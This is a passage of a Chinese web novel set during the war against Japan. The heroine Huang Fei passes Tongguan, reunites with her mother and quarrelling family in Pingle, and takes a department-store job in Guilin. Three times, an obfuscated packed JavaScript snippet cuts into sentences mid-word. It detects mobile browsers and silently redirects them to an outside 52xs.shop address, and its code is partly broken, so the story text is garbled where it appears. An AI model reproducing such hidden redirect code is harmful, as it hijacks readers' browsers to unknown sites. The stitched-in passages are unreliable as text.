到了这个时候,黄菲终于喘过一口气来,衰竭的危险距离她稍远了一点,她感觉自己原本已经即将耗尽的体力,又弥补了一些回来,身上有了些微的力气,于是黄菲便取下饭盒,先刷洗一下,然后接满了水,蹒跚着找来树枝,点起火来,垒砌石头灶来烧水,同时满世界找吃的,寻觅食物的时候,她感到自己的眼睛也如同那一只野狼,放着饥饿的绿光。 过了好一阵,当黄菲终于用一饭盒汤水约略填饱了肚子,她这才有力气来理解自己的奇遇,究竟发生了什么?自己本来是在陕北那干燥荒凉的高原,而此时显然是在一个有水的地方,山上青青的,长了许多树,植物十分茂盛,满眼的绿色,让人感到一片生机。 黄菲细细想了一想,忽然间站起来,慢慢走回到自己之前苏醒的地方,果然在地上,看到了一枚晶亮的钥匙,顶端是一个缠枝纹的圆环,下面是古典的钥匙形状,银白色,静静地躺在那里闪着光。 黄菲弯下腰,轻轻把它捡拾起来,仔细打量着,这就是开启另一个世界的钥匙啊,究竟要怎样去做呢?自己要好好地琢磨一下。 之后的一段日子,黄菲自己也不知道是怎样过来,要回顾很难回顾,想诉说也不知该如何诉说,只是这一天的下午,当她站在一座山上遥望,前方一座巍峨的关口,终于来到有人的地方! 黄菲不由得雀跃,到了这里,应该已经走出了很远的距离,这里该是国统区的深处了吧?自己在这里,不会受到很严格的盘查了吧?然而她终究是谨慎的,想了一想,便解开了绑腿,将那两条长长的棉布收藏了起来,绑腿啊,实在太有军人气息,现在的自己,是需要让人以为是难民的,其实某个角度来说,也确实是这样。 那一道关隘望过去就在眼中,然而走起来实在遥远,黄菲又用了一天多的时间,才终于抵达关口的下方,这个时候她仰头一看,硕大的“潼关”两个大字映入眼底,一瞬间黄菲眼中一热,简直要流下泪来,手里拄着木棒,不知不觉轻轻便念诵道:“‘云横秦岭家何在?雪拥蓝关马不前。’” 城门前值岗的国民党哨兵听到了,不由得便瞥了她一眼:“念过书的?” 出口就是诗啊,虽然自己不知道说的是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344753|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,不过文绉绉的,七字一句,大概是诗吧。 黄菲点了点头:“读过几天书。” 那士兵笑了:“好命啊,能读得起书,从前也是大小姐吧?只是现在日本人来了,好日子都过不成了。打从哪儿来?要往哪儿去?” 听口音是北方人,说话会卷舌头,带“儿”音。 黄菲之前已经想好了应对的言语:“从湖北来,去西安。” 对方深表同情:“湖北啊,给小日本祸害得惨啊,武汉已经给占了几年了。” 旁边另一个士兵瞧了瞧她:“湖北?我就是湖北人,可是我听你口音不像啊。” 黄菲道:“我本来是广西人,与家里人一起去了湖北。” 那人又追问:“你当初是在湖北哪里?” “监利。” “监利都有些什么?你和我说说。” “监利的麻鸭是很好的,监利本来是鱼米之乡,芙蓉的国度,只是这些年不行了,总是发水,日子难过。” 说着说着,便又有些哽咽。 那个湖北的国军听了她这几句话,一时也给勾起了心事,叹道:“可不是么,三年有两年发大水,东家又连年加租子,就算日本人不来,我们也过不得。” 原来竟然是监利人,黄菲说自己曾经住在监利,本来是因为苗伯家乡监利,自己当初与同学们去伙房“帮厨”,时常听苗伯谈起故乡,监利的这个,监利的那个,所以知道,这个时候便说是从监利来,那知居然遇到了苗伯的同乡。 他的同伴本来也点着头,忽然间醒悟过来,连忙捅了捅他:“可别说了,这话让长官听见,又要挨骂了。” 然后那个北方士兵又说:“算了,让她过去吧,你看看她,年轻的女学生,哪能是共谍?” 没见方才看到城门楼上的两个字,眼泪都要出来了? 湖北籍的国军便也不再执着,手一挥:“你过去吧。嘿,做什么跑到这边来?直接进四川不好么?或者你干脆去云南,那边更是离得远了。” 黄菲道:“在西安有亲戚,况且,重庆总是挨轰炸。” 对方笑道:“重庆总挨炸,你当这边就清净些?可小心吧,三天两日也来呢,睡觉警醒着一点,白天常听着警报,有事就赶紧跑,找到住处之后,先不要忙别的,在近边找防空洞要紧。” 黄菲进了城门,听到身后有人若有心又似无意地哼唱着:“说凤阳,道凤阳,凤阳本是好地方,自从出了朱皇帝,十年倒有九年荒……” 听声音是那个监利人,明明是湖北人,却唱安徽的民歌,这也算是借她人的酒杯,浇自己的块垒。 又想到那个为人宽厚的士兵,听口音仿佛是东北人,不知是不是东北军给拆来这里,想到东北,便难免想起景斌,心中不由得又是一痛。 在潼关的街上走了一段路,融合在人群之中,黄菲的心情终于逐渐放松下来,自己是进入了国统区,越是往里面走,检查越容易了吧?如今当务之急,是寻找一个住的地方。 她在古城的街上找来找去,终于找到一家小旅馆,望见挂在门上的招牌,即使是在这样的处境之中,黄菲也不由得暗暗翻了个白眼,“这是著名的倒霉栈,名叫高升”,只不过谢冰莹那时在武汉,而自己此时是在潼关,而旅馆是一样的矮小破旧,从外表就可以知道,里面的床铺之类一定很是一般。 然而此时却也没有别的方法,只能住进去,因为自己身上除了边币,法币并不多,虽然不知道边币在这里是否可以用,但是自己如今万事小心为上,皖南事变之后,国共现在倒仍然是“合作抗日”,然而谁都知道,是貌合神离,边区的护照,自己不敢在国统区用,钱币就也不敢用。 所以黄菲就走进了这一家“高升客栈”,问了房价,果然不很贵,只要六十法币,黄菲便摸索着背囊,找了几张票子出来,交给了柜上。 随着店伙来到自己的房间,推门一看,墙壁上一条条黑红的痕迹,陈年老血,只不知是什么的血,这么粗,不像是蚊子血。 伙计将新来的客人领来客房,回转身便走了,黄菲关上了门,刚刚放下行李,抬头一看,墙上赫然趴着一只肥大的臭虫,黄菲反应相当敏捷,一弯腰脱下草鞋,一鞋底就拍了上去,臭虫落地,墙面上新添一道血痕,于是黄菲明白了,那些污痕都是什么。 看来今天晚上,自己一定要当心啊! 23. 第二十三章 重逢 第二十三章 重逢 当黄菲在旅馆安顿好,已经是下午三四点钟,这个时候不早不晚,午饭时间早已经过了,却还不到晚饭的时间,所以有些尴尬,一时间不知该做些什么,仿佛做什么都不是很合适,午睡是不成的,到街上闲荡又有些累,黄菲在窗边呆呆地坐了一阵,好容易看看天色有些昏沉,便终于出了门,到外面寻觅饭食。 旅馆与饭馆的距离似乎总是不远,虽然不熟悉地理,然而黄菲出门左转只几步路,就是一家小馆子,门面规制与高升相仿佛,都是简陋破旧,一个男人在门口懒散地坐着,围裙搭在肩上,大约还不到吃饭的时刻,小小的店面里面只坐着三两个人,显得有些冷清,连老板也闲坐在门前,有些无聊的样子,这种场景一看就让人联想到战争期间的凋敝,闲散也不再那样惬意。 然而再一转眼,门边却有一口大铁锅,里面热气腾腾,正熬着一大锅浓浓的汤,汤汁已经成了乳白色,正冒出浓郁的香气,透出旺盛的气息,只是一只正在熬煮的汤锅,就让人感到了温暖,竟然有了一点“盛世”的模样。 黄菲便问道:“有什么吃的?” 老板翻了翻眼皮,懒懒地说:“烩饼。” 黄菲便说:“我要一碗烩饼。” 老板慢慢站起来,拖着脚步到炉灶后面去,取了一张冷面饼,丢在案板上,抄起菜刀咚咚咚地便切饼,然后通开了火,往锅里倒了一点油,加了葱姜炝锅,又加了一大碗水,不多时水烧开了,便把切好的饼条“哗”地往里一倒,然后便是放酱料,黄菲在一条板凳上坐着,眼巴巴等着吃烩饼。 就在这时,一个新的客人大步跨进饭馆,吆喝道:“老板,一碗羊肉汤!” 老板答应一声,抛下这边正在煮着的饼,赶着来到门前大锅边,从旁边筐子里抓起一只碗,就往里面舀羊汤,还有大片的羊肉,最后往里面撒了一小把香菜,就是一碗喷香扑鼻的羊肉汤。 黄菲看着老板盛羊肉汤,脑子忽然一转,问道:“老板,烩饼可以放羊肉么?” 老板头也不回:“要加钱。” 黄菲应道:“帮我放些羊肉。” 老板“咚”地一下把羊肉汤碗墩在了旁边一张桌面,回身拿个漏勺,就捞起几片羊肉,给她下在了烩饼的锅里,然后也是撒了香菜,又加了几条韭菜,便盛出过来,放在她的面前,筷子也摆上了。 黄菲拿起筷子,夹了两条烩饼,吹了吹便送进嘴里,咀嚼了两下,一瞬间差点流下泪来,这就是尘世的滋味啊,自己终于重回人间,简直恍若隔世。 吃了几口之后,黄菲逐渐定下神来,从桌上的一个小罐子里舀了一勺辣椒油,浇在了饼上,烩饼里面花椒粉的味道是够浓了的,不过终究还是欠了一点辣椒油的辣香味道,辣椒油啊,辣得滋润。 到了这个时候,黄菲忽然间想起一件事来,转头问老板:“今天是几月几号?” 老板看了看她,用浓重的陕西腔调说道:“六月十六,按新历是……” 那个正在喝羊汤的客人接口道:“七月十七号。这女子,连几号都不记得了,走糊涂了吧?” 黄菲心中默默计算,自己在山中走了将近一个月时间啊,这才终于走出了万山重叠的秦岭。 这一个晚上,黄菲睡得格外酣沉,连臭虫的尖嘴钻进皮肤都不知道,到了第二天早上,身上几处地方发痒,要不停地搔。 潼关虽然是给人印象极为深刻的地方,然而黄菲在这里却不能久留,她身上的钱不多了,临行时在延安兑换的法币,不够她再这样住几天客栈,于是黄菲休息了一夜之后,便匆匆离开潼关,一路奔向西安。 几天之后,她终于站在西安的城墙前,仰头望着高高的鼓楼,不由得便想到了延安的古城墙,也有这么一个鼓楼,只可惜自己去的时候,那里已经荒废,否则暮鼓晨钟,该是多么的有回味。 黄菲出神地想了片刻,终于回到了现实,她定了定神,继续走着,寻找栖身之处。 黄菲在西安一连住了三天,走了这么久,终究是累了,所以纵然她急于回到桂林,在这里也不由得多休息了几天,只是没有在馆子里吃饭,一日三餐都是自己另行解决。 这三天时间,黄菲也不只是在旅馆之中静养,她也出去的,先是去碑林,在那里看书法,又去大慈恩寺,在那附近的书局里,买了一本《大慈恩寺三藏法师传》,第三天闲逛街市,偶然来到西五路北新街,那里的七贤庄一号,坐北朝南一个方方正正的院落,门上挂着牌子,“国民革命军第八路军驻陕办事处”,只见办事处门前依然挤满挤满男女青年,热热闹闹地嚷叫着,谈论着革命。 黄菲站在不远处的角落里,看着这一群年轻的,充满朝气的人,忽然便有了一种“老人家”的感觉,也或许是沧海桑田吧,如今的自己,论年纪其实不大,不过二十岁,然而却颇有些沧桑了。 然后黄菲想到,这种时候要进延安,也是和离开一样的不容易。 再之后,黄菲出陕西,进四川,过贵州,终于来到了广西的地界,路上往往步行,如果运气好,就搭便车,到了八月二十三号,这一天的下午,黄菲终于站在了平乐黄家大宅的门前。 厚重的黑漆大门前,黄菲站在石头台阶上,久久地望着门上金灿灿的铜环,不知自己是否要去拍门,在那里停了足有一刻钟的时间,正当她想要转身离去,忽然“哗啷”一声响,有人从里面打开了门,露出一张脸来,是厨房的何嫂,提了一个篮子,显然是要出去买菜。 一看到门前站了一个人,何嫂登时愣了一下,她猛力盯了两眼:“啊哟,这不是三小姐吗?真的是你?太太成天念着,梦里都想,小姐可总算是回来了,你等等,我这就去告诉太太!” 说着一把将黄菲拉进门来,也顾不得篮子,丢在地上撒开腿就往后面跑。 黄菲犹犹豫豫,慢慢地往里面踱着,过不多时,听到前方一串急促的脚步声,然后就是一个高亢嘹亮的调门:“啊哟,三小姐回来了!快让我看看,出息成了什么样子?” 黄菲一听这个声音,心里便是一阵发凉,是三姨太,自己的父亲现存有三个姨太太,最得势的是三姨太,大姨太六年前死了,不必说了,二姨太老实懦弱,四姨太及时行乐,都不能或者不肯参与黄家的东周列国,唯独三姨太,戏子出身,特别精明厉害,又是口舌犀利,进门之后,把黄老爷一颗心抓得死死的,常吹枕边风,黄家的家主往往就听她的,自己的母亲身为大太太,全靠家世保住地位,然而却也只是一个牌位,高高地供奉起来,内宅的实权都在三姨太手上,母亲即使是正室夫人,也暗暗地忌惮她三分,等闲不肯得罪她。 没想到自己回到家中,没有立刻见到母亲,却先等来了三姨太。 一时间黄菲简直无处立足,一个冲动很想转头就走,再苦也不要回来。 然而就在三姨太之后,又是一叠声的呼唤:“幼蕊,是你回来了吗?我的孩子啊,妈可等到你了!” 是母亲。 黄菲遥遥地望见母亲的影子,于是飞跑起来,略过正快步赶来瞧热闹的三姨太,直奔向母亲那边,一下子便扑进母亲怀里,哭着叫道:“妈!是我回来了!” 卢兰玉抱着黄菲,痛哭出来,母女两个高一声低一声地彼此呼唤,宁凤姐也是不住地抹眼泪:“小姐惨哦!瘦得哦!” 三姨太许桂珠站在一旁,虽然是没有人理她,她也是津津有味,不住地嘬着牙花子,乐道:“好一场母女重逢的文明新戏,就连我们看着的人,心里也是难过,三小姐啊,你出去了这么久,怎么就没有信来?我们太太每天只是想你,眼泪都不干的,如今总算盼到你回来了,这回再不要走,回头见见老爷,保管他也高兴。” 她这一提黄皓,这边的几个人全都心里发凉,以黄皓的暴烈秉性,见到了黄菲,不知会有怎样的事情发生。 果然不出所料,黄皓不多时便得到了黄菲回来的消息,在书房里暴跳如雷,大叫大嚷:“那个忤逆的畜生竟知道回来?好!我正愁找不到她!老江,快叫几个人,把她绑了送到官府里去,共产党呢,可不能留她!到了官府,是吃打靶还是怎样,我全不管。” 江管家在一旁弓着身,连声答应,只是不动,过了一会儿,见黄皓的火性似乎消下去一点,便陪着笑脸劝说道:“老爷,毕竟是您的三小姐,倘若真给送到刑场上枪毙,您现在虽然是在气头上,过后难免心疼,三小姐从小的时候,也是您疼爱着长大的。” 这个时候黄瑞成也匆匆赶到,脸红脖子粗地反对:“爹,你不能这样,你若是这样,妈怎么活?咳咳咳……” 跟着就是一连串剧烈的咳嗽,仿佛要咳出血来。 黄皓看着自己的嫡子,这个窝心哦,自幼身体便不好,勉勉强强长到这个年纪,不知是几箱人参鹿茸撑起来的,吃药简直好像吃饭,从他小时候,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344754|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心不知什么时候就断了气,竟然挣扎到这个年纪,也是不易,如今又为了妹妹的事,跟自己急赤白脸,他倘若一个喷血,只怕一腔子血都要给流干了,到那时自己这些年的钱岂不是白花了? 况且他母亲也不能答应,一定要和自己闹,寻死上吊的,家宅不得安宁,自己在这里住着也烦心,假如真的到了那个地步,老岳父也不会高兴,这些年为了自己娶姨太太,冷落了大太太,与岳父家中的关系已经疏离了,不能再与当年相比。 卢兰玉也三步两步赶了过来,拉住黄皓的胳膊,大哭大号:“你要杀了她,不如先杀了我!老爷,你这么多年的这么些事情,我可没有说过别的,只是我这一双儿女,不能断送了,我将来纵然是死了,阴曹地府也安心。” 黄皓纵然禀性强横,此时听太太隐约提起这些年的事,心中终究有一点惭愧,气势便更落了一层。 到了这时,三姨太也姗姗地来了,见屋子里闹成这样,如同戏园子里一般,她笑嘻嘻地站在旁边看了一刻,终究也要说几句话,便不凉不热地道:“罢了,老爷,气话说几句也就算了,莫非真要那样处置?倘若真的伤损了三小姐,您面子上也过不去啊,让人家说黄老爷的小姐通了共,给政府处决了,您今后出去会客,可怎么见人呢?” 黄皓给几个人这么劝着,本来是气哼哼的,到后来那劲头终于削减了,不再满口嚷着要送黄菲去见官。 鸡飞狗跳闹了半日,到了傍晚的时候,黄老爷的宅子上总算稍稍安静下来,卢兰玉擦着眼泪,从前面回来后院,见小女儿正坐立不安,便连忙拉着她的手安慰道:“我的儿,你不要担忧,有我在,他不敢把你怎么样,他若是真坑害了你,你外公也不会答应。你这一次回来,可就好了,再不要走,这些年可把妈想死了,这几年可说我这身子也不是很好,整天三灾两痛的,只怕万一我不知哪一天没了,到死都看不到你,妈死了,两眼都闭不上。” 这几句话说得黄菲也两眼泪涟涟。 卢兰玉又摸着她的脸,满是心疼地说:“儿啊,你就安安心心在家里吧,再不要说什么‘革命革命’,那‘革命’,定然是极苦的事,否则也不必那样卖力地召集人家来做,你看看你,都瘦成什么样子?在那边没有吃到什么好的吧?你如今回了家,可该好好补一补,凤姐,让厨房快炖老母鸡!昨天刚来的顶好的海参,让一起炖到锅里,大补元气!” 宁凤姐一边擦眼泪,一边答应道:“刚已经去说了,让她们煨得久一些,炖得浓浓的。” 卢兰玉又一叠声嘱咐:“还有让她们快烧洗澡水,看小姐这一身的灰土,幼蕊啊,你从前最爱干净的,白衣裳上有小小一个黑点,都不愿意穿出去,如今弄得仿佛灰堆里钻出来的一般,真亏你怎么忍着来?” 洗澡水准备的速度比鸡汤要快,卢兰玉拿过点心匣子来,要黄菲吃两块桂花糕,然后再洗澡,“不然容易头晕”,等黄菲痛痛快快泡过了澡,干净衣服已经预备好了,黄菲穿起自己旧时的衣服,有些小了,这三年自己长高了一些,卢兰玉看到了,连声说:“明天叫裁缝来,给三小姐量尺,做新衣衫。” 嫂嫂傅传芳笑着说:“我的身量和妹妹差不多,箱子里还有两件衣裳,从没穿过的,回头给妹妹拿来,这几天新衣服没做得,妹妹就先将就穿吧。” 黄菲连忙向嫂嫂道谢。 过不多时,就到了晚饭时间,厨房把一个陶罐送了上来,里面是满满的浓鸡汤,黑褐色的海参也在里面浮着,卢兰玉夹了那海参,就搁在黄菲的碗里:“幼蕊啊,快吃这海参,顶好的梅花参,是你大姐送来的。” 黄菲登时就是一愣:“大姐如今的日子过得蛮好?” 卢兰玉点了点头:“回头我再与你细说,只你二姐这一阵不是很行了。” 黄菲也给母亲夹菜,母女两个吃完了饭,便关起门来,细细地说话,说起了皖南事变:“幼蕊啊,自从那一桩事情之后,再要写信寄东西去那边,便很不容易了,两年没有你的消息,急得我睡不安枕。” 黄菲道:“国民党偷袭新四军,我们听到了,都很愤慨呢,本来是一心一意拥护国民政府,哪知竟然这样对我们。” 卢兰玉叹道:“这就是‘痴心女子负心汉’,你一心一意对他,也换不来他的真心。” 这个话题本来很方便阐发半世的感慨,只是恰在此时,有人轻轻敲门:“妈,我给三妹妹送衣衫来。” 24. 第二十四章 出走桂林 第二十四章 出走桂林 黄菲在母亲这里只住了六天,便再也住不下去。 母亲一如既往,是一个哀怨的人,即使曾经为了自己的出走,而暗暗生出一点希望,到这时看到自己满身伤痕地归来,或许也已经大失所望,索性更加彻底地回到老路上来,再也没有了别的想法。 自己的哥哥,曾经是一个愤慨于黑暗现实的,有理想的青年,当初自己投奔延安,很得他的鼓励,然而如今却已经变成一个消极颓废的人,对一切都失去了希望,曾经热切追求的,现在都看作是虚幻,言谈起来便是冷笑,冷嘲热讽,很像一个愤世嫉俗钞本的佛陀,一切都是空洞,一切都是茫无涯际的黑暗,个人只有沉沦,因此黄菲更加不愿和他谈论延安的经历,只怕他会因此愈发沮丧了,或者竟然失去生活下去的勇气。 曾经满怀怨愤的大姐,倒是时来运转了,按照母亲的话来讲,是“守得云开见月明,过上好日子了”,她的“天字出头”把握住战争的机会,囤积居奇,居然发了大财,大姐的嫁妆也赎回来,现在穿金戴银,俨然便是阔太太了,整天都是乐呵呵的,没事便是逛公司,打小牌,上戏园子,要么就是向那些南京上海、苏州杭州逃难来的太太们学穿戴打扮,桂林如今是大后方了,大家全把这里当做乱世中的福地桃源,一心以为只要奔来桂林,就从此太平安乐。 黄菲回来之后第二天,便看到了自己的大姐。 菊霜一见她的面,眼圈先也是一红,连声说“小妹瘦了”,然后抚摸着她的手,痛切地说:“小妹为人是极聪明的,唯独有一点容易伤到自己,就是太过痴心,国家大事本来就不是女人的事,何必跟着那些煽动的乱党胡闹?又究竟能闹出个什么结果?天地不是那么容易改变的,我们女人,还是谨守女人的本分要紧,虽然一时磨折,终究或者能够出头,此外的路更加不可靠。此一番你幸好是回来了,倘若竟然回不来,你让家里人可怎么办呢?” 菊霜的这一篇《妇道宣言》,直听得黄菲想要捂住耳朵,只觉得一股腐坏朽烂的气味,从泥潭之中泛起,简直让人窒息。 嫂嫂传芳见小姑似乎是颇难为情的样子,便笑着解劝:“小妹毕竟是年轻,给共产党骗了,如今回头是岸,前面还有大把好日子等着她。” 明明是好意,可是黄菲却感觉更是郁闷,愈发的听不下去。 菊霜便提议黄菲未来的前途:“小妹青春正好,这几年愈发出落得俊了,她又读了这些书,见了这样多的世面,等闲人家的小姐,多不及她,很能匹配一桩好姻缘。妈,等我回去和你女婿说,一定要给小妹找一个如意郎君,金龟婿,让小妹这一世吃穿不愁,安享清福。” 母亲连连赞同:“菊霜啊,这件事你们夫妻俩多多辛苦些,一定要给幼蕊找一个好人家,倒不必多么的富贵,只要人好,便可以,我们黄家很可以出得起这一份嫁妆,不至于让她们小夫妻挨饿。” 这话不多久便传到黄皓耳中,他从鼻子里重重地“哼”了一声,冷笑道:“嫁人当太太?想得倒蛮好,她们也不看看,这样‘头上长角,身上长刺’的家伙,有谁敢娶回家里去?等着家中造反呢?嫁妆我也不会出,她娘母子自己想法子去吧。” 二姐柏翠则是对未来丈夫的选择提出了建议:“不要找军队中的,虽然外面看着轰轰烈烈,其实很苦的,战场上子弹不长眼睛,一个不走运,就没了命,留下来的那个便只好当寡妇,未亡人,你姐夫便是这样,剩下了我,冷冷清清。” 二姐的丈夫是桂系军官,中校,去年与日本作战,战死了,母亲说到这件事,很是感叹:“你二姐,本来很是风光的,中校的夫人,如今到处打仗,但凡是戴臂章的,谁不高看一眼?连家里人也沾光。只可惜她的那个男人忽然间便没了,这便是‘人有旦夕祸福’,从前活着的时候,她日夜提心吊胆,现在人没了,干脆没了指望。” 眼看着家里人都在为自己张罗,母亲更是一日三顿好汤水,只巴不得把自己一两天便又养得白白嫩嫩,好送上花轿,抬到别人的家里去,黄菲只觉得头发根都要竖起来,感到了另外一种险恶,所以到了第四天,她便向母亲提出来,想要去桂林寻觅一个事情做。 卢兰玉自然是不肯答应,母女两个磨了两天,到第六天晚上,卢兰玉眼见黄菲主意已定,自己苦留不住,只得同意她离开。 于是八月三十号的上午,黄菲坐上人力车,挥手告别了母亲和各位亲人,两辆黄包车轮子辘辘转动,便一路离开平乐,往桂林而去。 平乐虽说与桂林相距不远,却也有将近二百里,车夫撒开两条腿,飞奔在路上,直走了两天,到了三十一号的傍晚,终于进了桂林城,黄菲匆匆找了一家小旅馆住下,给车夫结算了车钱,回到自己的房间,简单吃了晚饭,便出来找店伙询问些事项:“桂林哪里好住的?” 虽然也算是桂林人,然而黄菲从前很少来桂林城,初中是在平乐读的,所以对这里很是生疏。 店伙正在擦抹柜台,闻言笑道:“那自然是桂花街,从前倒是不算什么,往来菜农走的路,自从抗战,走警报,那里四面环山,躲飞机便利得多,况且地皮也便宜,许多贵人都纷纷在那里起房子,李司令你知道吧?李宗仁将军啊,他的大夫人就住在那里,如今的桂花街,简直是‘贵人街’呢,小姐你住过去蛮好。” 伙计两眼上下打量黄菲,就是一位大户人家的小姐啊,看看这穿的衣裳,绸子的,仿佛是茧绸,虽然人看起来倒是挺朴素,不戴什么金戒指金耳环,可是能穿得起茧绸旗袍,就是很可以了,家境起码也是小康,就适合住在桂花街那样的地方。 要说这位姑娘,真是不错,那相貌姿态,实在出挑,一看就是读过书的,说起话来又斯文又大方,不像一般不怎么出门的女孩子,扭扭捏捏,显然见过世面,纵然不是大富大贵,就她这副人才,也很可以拿得出手,住桂花街很配得上。 唯独一点略有些可惜,就是人偏瘦了些,看那面色不是很好,黑黄黑黄的,血色不很充足的样子,想来是这抗战的日子艰苦,所以便辛苦成这样,不过这倒也不是什么大事,看她如今的这身装扮,小有家底的,多喝一点滋补的汤水,过得三个月两个月,也就调养回来了,依然是个光鲜水灵的美人,只要不是肺痨之类要命的病,那可是无论怎么补养,都不成的了,实在令人感叹,不过看她并不像这么福薄的样子。 黄菲微微含笑,与这人谈着天,把这几年桂林大小事都打听了一番,到了第二天,便出门寻找工作,先去报社,问需不需要速记的人手,回来路上又问了学校,还有医院,这就显出当初在女大,多门功课旁听的好处,黄菲对医疗护理也知晓一点皮毛,虽然比不得卫生学校的学生,人家毕竟专门学习六个月,但黄菲对于医药,多少知道一点。 一边寻觅职业,黄菲一边就找寻房屋,把义学巷、厚富街等等几条街都看过了,最后终于还是定在了桂花街,虽然已不再是从前的清静,况且价格也高了,不过道路整修了,路面宽阔,有林荫树,还栽植了一些桂花,是以“桂花街”如今名副其实。 黄菲爱这里的雅致,所以当她找到一间小房——其实也是一座二层的小楼,只是实在纤细,瘦瘦长长的一条,夹在两栋洋房中间,一层是厨房,经过一段狭窄陈旧的木楼梯,可以上到二楼卧室——虽然房屋破旧,里面布置简陋,只有一张光板床,一个旧木桌,一条板凳,一口旧衣柜,她也定了下来,当天便搬出了客栈,住来这里。 到了这时候,住屋的事情解决了,黄菲在桂林,终于有了一个安定的栖身之所,只是让她依然焦虑的,是直到如今,职业都没有眉目,报社明说不肯录用她,学校那里没有位置,医院进入无门,就算是公司里的会计职位,也没有空缺,黄菲内心焦灼,自己手边虽然还有一些钱,但是像这样坐吃山空,实在太令人仓皇。 得说这一回黄菲的出走,与上一次去延安不同了,她是大包小包带了许多东西出来,还有两只藤条箱,都放在第二辆人力车上,所以黄菲如今,是小有家当的。 只是再怎么样眼前不虞匮乏,终究只是暂时,生活倘若要长久过下去,就必须有一个来源,否则就只是一天天消耗,那感觉太使人心慌,所以到了这时候,黄菲一咬牙,干脆走进了百货公司,这种状况之下,无论怎样的职业,自己也要做了。 百货公司里面的职位,倒是还算相对好谋求,黄菲到了经理室,经理一见她,只看了两眼,便肯答应录用:“皮鞋那里刚好缺了一个人,突然辞工走了,你这便可以顶上,回头买一支口红。你的行头是可以的,头发有些短, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344755|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戴一个发夹,擦些粉,再打一点口红,直接就可以去站柜台,明天就来吧。” 皮肤是粗糙了一点,面色也不太好,不过经理阅人无数,晓得这是个美人胚子,脸色上可以用脂粉遮掩,保养一阵,准定是个抢眼的。 黄菲于是回到家中,便从箱子里取出一支口红,一盒香粉,又去街上买了一枚发夹,第二天早上,洗脸之后,对着镜子,先用粉扑扑了脸,又淡淡地在嘴唇上涂了一层唇膏,再然后,齐耳短发的鬓边戴了发夹,便去了百货公司的皮鞋柜台,售卖小牛皮鞋,都是进口的高档皮鞋,她是专卖男鞋。 要说桂林,抗战之中作为大后方的这几年,各地有钱的没钱的都涌来这边,市面上居然有一种出乎意料的繁荣,苏杭铺子、烫发店、西菜馆,纷纷开张,还有自己供职的这一家公司,专卖舶来品,欧美的西装皮鞋、手表、香水化妆品,摆满了柜台,到了深秋时节,海虎绒的大衣也挂了出来,比起东方风味的真丝睡衣,又是一种别样的时髦,带着现代气息的西式华丽。 桂林的如此种种,让黄菲很是难以接受,前线在流血,后方却如此奢靡,仿佛每个富有金钱和精力的人,都在忙着追逐潮流,拼命享受每一刻,堪称穷凶极乐,这让习惯了延安清苦生活的黄菲感觉到格格不入,虽然不是在抗大读书,不过黄菲知道抗大的校训,“团结、紧张、严肃、活泼”,整个延安弥漫的都是这种气氛,然而在桂林,有一股水果腐烂的异样气味,甜腻腻,却刺鼻。 其实并不仅仅是桂林如此,当初一进入国统区,旧世界的气息就扑面而来,到如今,黄菲已经冷静下来,可以用另一种眼光,看待这对立于延安的地方,在潼关县城,自己看到了乞丐,蹲在墙角落,很无聊地捉身上的虱子,而在延安,是没有乞丐的,这就是阶级啊,不同的阶级之间,境遇相差如此之大,每当想到这些,黄菲就感到胸口发堵。 事实上黄菲如今的愤懑,并不是因为自己的处境困窘,她从九月中旬在这家公司做事,仅仅两个月,已经是公司的红人,一头女学生的短发,戴了珍珠发夹,青春而又雅致,还带了一缕书卷气,仿佛她不是在这里站柜台卖皮鞋,而是在图书馆里,正在翻阅书籍。 黄菲的相貌本来便是很好的,在一众女店员之中,很是出色,所以不多久便给人传扬,此外特别让她能吸引人的,便是能讲一口可称流利的英语。 黄菲在女大,速记之外也很用心学习英文,虽然说不上水平多么的高,但日常口语都可以,桂林驻扎着飞虎队,这些美国空军人员有时候会来商店购买物品,比如皮鞋,到了这种时候,就是黄菲出头上场,别的店员虽然也有伶牙俐齿的,善于辞令,有的甚至能说几句英文,但是不能像黄菲这样自如地交谈,于是这种场合,黄菲就很是露脸,自然而然名声大噪,简直是公司的活广告。 因为黄菲如此有名,公司对她便也不薄待,很是看重的,每个月薪金六十元,是银元,黄菲坚持不肯要法币,一定要银元,哪怕为此要将薪水稍稍降一些,也是可以的。 每个月六十大洋,虽然不是非常高,不过在当前的物价之下,还是可以应付生活,只要不追求奢华,很能够凭借这笔收入,将日子过得有滋有味,所以黄菲的葡萄并不酸,不是因为自己过得很凄惨,所以看到什么都愤怒。 